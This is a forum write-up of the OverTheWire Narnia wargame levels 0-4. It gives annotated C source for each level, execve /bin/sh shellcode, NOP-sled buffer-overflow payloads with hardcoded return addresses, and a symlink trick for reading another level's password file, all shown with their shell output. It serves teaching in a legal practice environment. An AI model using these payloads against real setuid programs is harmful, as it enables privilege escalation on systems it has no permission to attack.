OverTheWire Narnia challenges 0-4 Writeups (Binary exploitation basics with explanations)

OverTheWire Narnia challenges 0-4 Writeups

In this post I will be writing up challenges 0-4 from the Narnia series on OverTheWire, with the best explanation I can come up with for each, so someone that has no understanding of pwn, can get a base, and play the challenges for themselves.

Each pwnable consists of a SetUID binary (this means on runtime it will execute as another user, so if we can make the binary spawn a shell while it is running, the shell will be as another user), and the .c sourcecode, so we can get an idea of how each challenge is made up (in this writeup I have anotated the source codes to help clarify what is happening).

I found that being able to visualize how the stack is structured helped me massively to understand what is happening in this attack. Here is a perfect video from Computerphile (https://youtube.com/computerphile) that elaborates upon what the attack consists of, and how it works https://www.youtube.com/watch?v=1S0aBV-Waeo.

Challenge 0

Our first step is to login to the first user on SSH, using the credentials narnia0:narnia0, on port 2226.
ssh [email protected] -p 2226
Now we head to the /narnia/ directory and find the source code and binary, here is the source code:

#include <stdio.h>
#include <stdlib.h>

int main(){
    long val=0x41414141;  /*Puts the value we want to overwrite on the stack*/
    char buf[20];         /*Sets the buffer length to 20 bytes*/

    printf("Correct val's value from 0x41414141 -> 0xdeadbeef!\n");
    printf("Here is your chance: ");
    scanf("%24s",&buf); /*Reads input into buffer (24 char limit on buffer, which is enough to fill the buffer and then the 4 bytes for deadbeef)*/

    printf("buf: %s\n",buf); /*Prints contents of buffer*/
    printf("val: 0x%08x\n",val); /*Outputs value we want to overwrite*/

    if(val==0xdeadbeef){ /*If value == 0xdeadbeef*/
        setreuid(geteuid(),geteuid()); /*Make the binary use the SUID and GUID*/
        system("/bin/sh"); /*Run /bin/sh to spawn a shell*/
    }
    else { /*If the value isn't 0xdeadbeef then*/
        printf("WAY OFF!!!!\n"); /*Print "WAY OFF!!!!" and then exit*/
        exit(1);
    }

    return 0;
}

So this challenge is extremely straight forward, essentially, we can right to the buffer, which is of size 20, and since there are no limits on how much we can input into the buffer, it allows us to write more than twenty characters to memory, and since the “val” variable is the next value on the stack, we can overwrite it’s contents.

We can do this two ways, the clean way, and the disgusting way:

The clean way would be make python print twenty A’s (the buffer size), plus the value we want to put in memory, which in this case needs to be in little endian format.

We know it needs to be little endian format since when we run “file /narnia/narnia0”, we get the following output:
narnia0: setuid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=0840ec7ce39e76ebcecabacb3dffb455cfa401e9, not stripped (https://en.wikipedia.org/wiki/Endianness)

To convert a value to little endian (in this case we want to convert 0xdeadbeef), so we remove the 0x (this is just an indicator that the value is hex), then we split it up into groups of two (de ad be ef), now we reverse the order of the groups, but not the characters (ef be ad de), and finally we add “\x” in front of each group, and put them all together: \xef\xbe\xad\xde, so that’s what we need to feed the binary after the 20 bytes, let’s try it.

narnia0@narnia:/narnia$ python -c 'print "A"*20 + "\xef\xbe\xad\xde"' | ./narnia0
Correct val's value from 0x41414141 -> 0xdeadbeef!
Here is your chance: buf: AAAAAAAAAAAAAAAAAAAAďľ­
                                               val: 0xdeadbeef

So the challenge bugs out, and doesn’t open a shell, but it does show us that the correct value is in place, now we can use a little trick involving cat to keep the i/o stream open:

narnia0@narnia:/narnia$ (python -c 'print "A"*20 + "\xef\xbe\xad\xde"';cat) | ./narnia0
Correct val's value from 0x41414141 -> 0xdeadbeef!
Here is your chance: buf: AAAAAAAAAAAAAAAAAAAAďľ­
                                               val: 0xdeadbeef
whoami
narnia1

Voila! Challenge 0 has been pwned, now we have a shell as narnia1, and can simply cat the password for narnia1 from /etc/narnia_pass/narnia1.

Challenge 1

The next challenge makes things a bit more complicated, we are now given the following source code:

#include <stdio.h>

int main(){
    int (*ret)();

    if(getenv("EGG")==NULL){ /*If the "EGG" env var is empty then*/
        printf("Give me something to execute at the env-variable EGG\n");
        exit(1); /*And then exit*/
    }

    printf("Trying to execute EGG!\n");
    ret = getenv("EGG"); /*Assign the contents of EGG to a var called ret*/
    ret(); /*Execute ret*/

    return 0;
}

Since this binary runs the contents of ret, we can feed ret shell code and it will be executed.

As an example, I will be using a purely alphanumeric shellcode made by a friend of mine (https://github.com/push4d/Shellcode-alfanumerico---Spawn-bin-sh-elf-x86-), so we can put the shellcode inside the environment variable called “EGG” and then run the binary.

narnia1@narnia:/narnia$ export EGG=hzzzzYAAAAAA0HM0hN0HNhu12ZX5ZBZZPhu834X5ZZZZPTYhjaaaX5aaaaP5aaaa5jaaaPPQTUVWaMz
narnia1@narnia:/narnia$ ./narnia1
Trying to execute EGG!
$ whoami
narnia2

Just to expand upon this, the shellcode does not have to be alphanumeric, it just makes it easier if it is since you can directly put it into the env var. An example of a payload that uses non-alphanumeric shellcode would be the following:

narnia1@narnia:/narnia$ export EGG=$(python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"'); /narnia/narnia1
Trying to execute EGG!
$ whoami
narnia2

Challenge 2

Now we get into some “actual” binexp, with an extremely basic payload that fills ESP with nops (\x90), except for some shell code at the end, and then overwriting the ret address to be the start of ESP.

Here is the source code:

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

int main(int argc, char * argv[]){
    char buf[128]; /*Declares the buffer length to be 128 bytes*/

    if(argc == 1){
        printf("Usage: %s argument\n", argv[0]); /*Display usage*/
        exit(1);
    }
    strcpy(buf,argv[1]); /*Copy contents of arg 1 to buffer*/
    printf("%s", buf); /*Print the buffer*/

    return 0;
}

So we can start by getting the crash offset (which will be somewhere around 128, since this is the buffer size, although if there is something between the end of the buffer and the start of the ret address on the stack, then we will need to play with the ret addr location in the payload), for this I made a really simple bash loop that slowly increases the padding.

for i in $(seq 1 300); do echo $i; ./narnia2 $(python -c 'print "A"*'$i';'); done

All this does is loops from 1 to 300, and echoes out the number each time, but also prints “A” that amount of times while passing it as an argument to the binary, so we can follow the numbers until we find a segfault.

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA132
Segmentation fault

We can see that after 132 the binary segfaults, so that is our space we have till the ret address starts getting overwritten.

Now, the buffer is 128 bytes, and the ret address breaks at 132, so between the end of the buffer, and the start of the return address there are 4 bytes of “junk”, which you can just fill with nopsleds, but in our case we will just repeat the ret address 4 times (one will fall into the right position, the others are fillers).

So we have our padding, to get our return address, we can simply crash it with a segfault, while watching it with ltrace.

narnia2@narnia:/narnia$ ltrace ./narnia2 $(python -c 'print "A"*132')
__libc_start_main(0x804844b, 2, 0xffffd704, 0x80484a0 <unfinished ...>
strcpy(0xffffd5e8, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"...)                                                                     = 0xffffd5e8
printf("%s", "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"...)                                                                           = 132
--- SIGSEGV (Segmentation fault) ---
+++ killed by SIGSEGV +++

Ltrace shows us that strcpy tries to copy our "A"s to the address 0xffffd5e8 (the memory location of the buffer), which in little endian is: \xe8\xd5\xff\xff. So we have the padding, we have the return address, now we just need the shellcode. For this we can use the example alphanumeric shellcode, or we can find our own with a simple google search for “32 bit bin sh shellcode” (http://shell-storm.org/shellcode/files/shellcode-827.php).

So now to structure our payload, the idea is to take advantage of the fact that we control the contents of the buffer, and we also control the return address, so if we make the contents of the buffer malicious, and then return back to the start of the buffer, it will be executed.

So the first step is having our padding, a nop (no operation, \x90), basically makes the machine do nothing, and move on to the next instruction, so we can fill the start of the buffer with nops, up until our shellcode.

The shellcode takes up a total of 28 bytes, and our buffer size is 128 bytes, so that is 100 nops (128 - 28), then we have the 4 bytes of “junk”, and then the return address, to summarise:
\x90 x 100 + 28 (shellcode) + 4 (junk) + 4 (ret addr)

So, now we know how to build our payload, and can run it on the vulnerable binary:

narnia2@narnia:/narnia$ ./narnia2 $(python -c 'print "\x90"*100 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80" + "\x90\x90\x90\x90" + "\xe8\xd5\xff\xff"')
$ whoami
narnia3

Challenge 3

For challenge three, things start to take a turn for the better, everything is a little more complex. Not in the way that the concepts are more complex, but a bit of out-of-the-box thinking is required to make the vulnerability work in your advantage.

We start with the following source code:

#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char **argv){

    int  ifd,  ofd;
    char ofile[16] = "/dev/null"; /*Sets the output file to /dev/null (var size is 16 bytes)*/
    char ifile[32]; /*Sets the variable size to 32 bytes*/
    char buf[32]; /*Sets the buffer size to 32 bytes*/

    if(argc != 2){ /*Print usage*/
        printf("usage, %s file, will send contents of file 2 /dev/null\n",argv[0]);
        exit(-1);
    }

    /* open files */
    strcpy(ifile, argv[1]); /*Copies arg to ifile var (this is vulnerable)*/
    if((ofd = open(ofile,O_RDWR)) < 0 ){
        printf("error opening %s\n", ofile); /*Error handler*/
        exit(-1);
    }
    if((ifd = open(ifile, O_RDONLY)) < 0 ){
        printf("error opening %s\n", ifile); /*Error handler*/
        exit(-1);
    }

    /* copy from file1 to file2 */
    read(ifd, buf, sizeof(buf)-1); /*Read content of In File*/
    write(ofd,buf, sizeof(buf)-1); /*Write content to Out File*/
    printf("copied contents of %s to a safer place... (%s)\n",ifile,ofile);

    /* close 'em */
    close(ifd); /*Close both*/
    close(ofd);

    exit(1);
}

So, the base concept is that we can overwrite the output file to be something we can read, and we control the input file, the rest is pretty simple.

Here is an example of the binaries usage:

narnia3@narnia:/narnia$ touch /tmp/LetsPlay
narnia3@narnia:/narnia$ ./narnia3 /tmp/LetsPlay
copied contents of /tmp/LetsPlay to a safer place... (/dev/null)

We move to the /tmp directory since we control everything inside of it, now we need can start playing with the input file, we know the input buffer is 32 bytes, and the output file is 16 bytes, so we could technically make something like /tmp/"z"*27(32-len(’/tmp/’)), and then the file we want to write to, let’s say the output file is /tmp/outforchiv.

When you overflow the input variable, you also overwrite the null-byte that defines where that variable’s string ends, whereas the memory location where the outfile var starts remains the same, we can abuse this, and make the file be something like /tmp/27bytes/tmp/file, and then symlink narnia4’s password to /tmp/27bytes/tmp/file, but also make a file called /tmp/file with 777 permissions.

When we feed the binary this path, it will overflow the buffer, overwrite the termination byte, so the input file is taken as /tmp/27bytes/tmp/file, but the output file is just /tmp/file.

Let’s put this theory to test:

narnia3@narnia:/tmp/zzzzzzzzzzzzzzzzzzzzzzzzzzz/tmp$ ln -s /etc/narnia_pass/narnia4 outforchiv
narnia3@narnia:/tmp/zzzzzzzzzzzzzzzzzzzzzzzzzzz/tmp$ touch /tmp/outforchiv
narnia3@narnia:/tmp/zzzzzzzzzzzzzzzzzzzzzzzzzzz/tmp$ chmod 777 /tmp/outforchiv
narnia3@narnia:/tmp/zzzzzzzzzzzzzzzzzzzzzzzzzzz/tmp$ /narnia/narnia3 $(pwd)/outforchiv
copied contents of /tmp/zzzzzzzzzzzzzzzzzzzzzzzzzzz/tmp/outforchiv to a safer place... (/tmp/outforchiv)
narnia3@narnia:/tmp/zzzzzzzzzzzzzzzzzzzzzzzzzzz/tmp$

Now we can cat the /tmp/outforchiv file and read the password!

Challenge 4

Welcome to the final challenge of this writeup, it is another buffer overflow to pop a shell, so I recommend you go back and make sure you understand the basics with challenge 2.

We have the following source code:

#include <string.h>
#include <stdlib.h>
#include <stdio.h>
#include <ctype.h>

extern char **environ;

int main(int argc,char **argv){
    int i;
    char buffer[256]; /*Defines the buffer length*/

    for(i = 0; environ[i] != NULL; i++)
        memset(environ[i], '\0', strlen(environ[i]));

    if(argc>1)
        strcpy(buffer,argv[1]); /*Copies the argument to the buffer (vulnerable)*/

    return 0;
}

We can start by getting our padding, we know the buffer size is 256, so we can start with that, next we need our return address, so we can run: ltrace ./narnia4 $(python -c 'print "A"*300') and then get the address that strcpy was going to copy the A’s to (in my case it was 0xffffd4d4), so we have our padding, return address, and we can re-use the shellcode from challenge 2, which is 28 bytes long.

Our payload will look something like this right now:
./narnia4 $(python -c 'print "\x90"*256 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\ x80" + "\xd4\xd4\xff\xff"*4')

To clarify, I have converted the return address to little endian format (0xffffd4d4 -> \xd4\xd4\xff\xff), and I have made it appear four times consecutively in the payload to increase chances of it falling into the right place, finally, I replaced the "A"s with \x90’s or no operation bytes, so the machine will skip those bytes until it reaches our shellcode.

This won’t work, since there is a 4 byte address between the end of the buffer and the start of the return address, so we need to add 4 bytes to our padding, making it 260.

Our final exploit being:

./narnia4 $(python -c 'print "\x90"*260 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\
x80" + "\xd4\xd4\xff\xff"*4') # YOUR RETURN ADDRESS MAY VARY

And when we run it:

narnia4@narnia:/narnia$ ./narnia4 $(python -c 'print "\x90"*(260 - 28) + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\
x80" + "\xd4\xd4\xff\xff"*4')
$ whoami
narnia5

Bingo! I hope this writeup clarified some concepts, or helped someone start off with an idea of what is happening. If anyone has any questions, I am basically permanently reachable on both twitter (https://twitter.com/SecGus), and on this platform, 0x00sec.

Some fun and useful resources for learning pwn are:

11 Likes

Cheeky Bump

Awesome writeup dude!

This topic was automatically closed after 121 days. New replies are no longer allowed.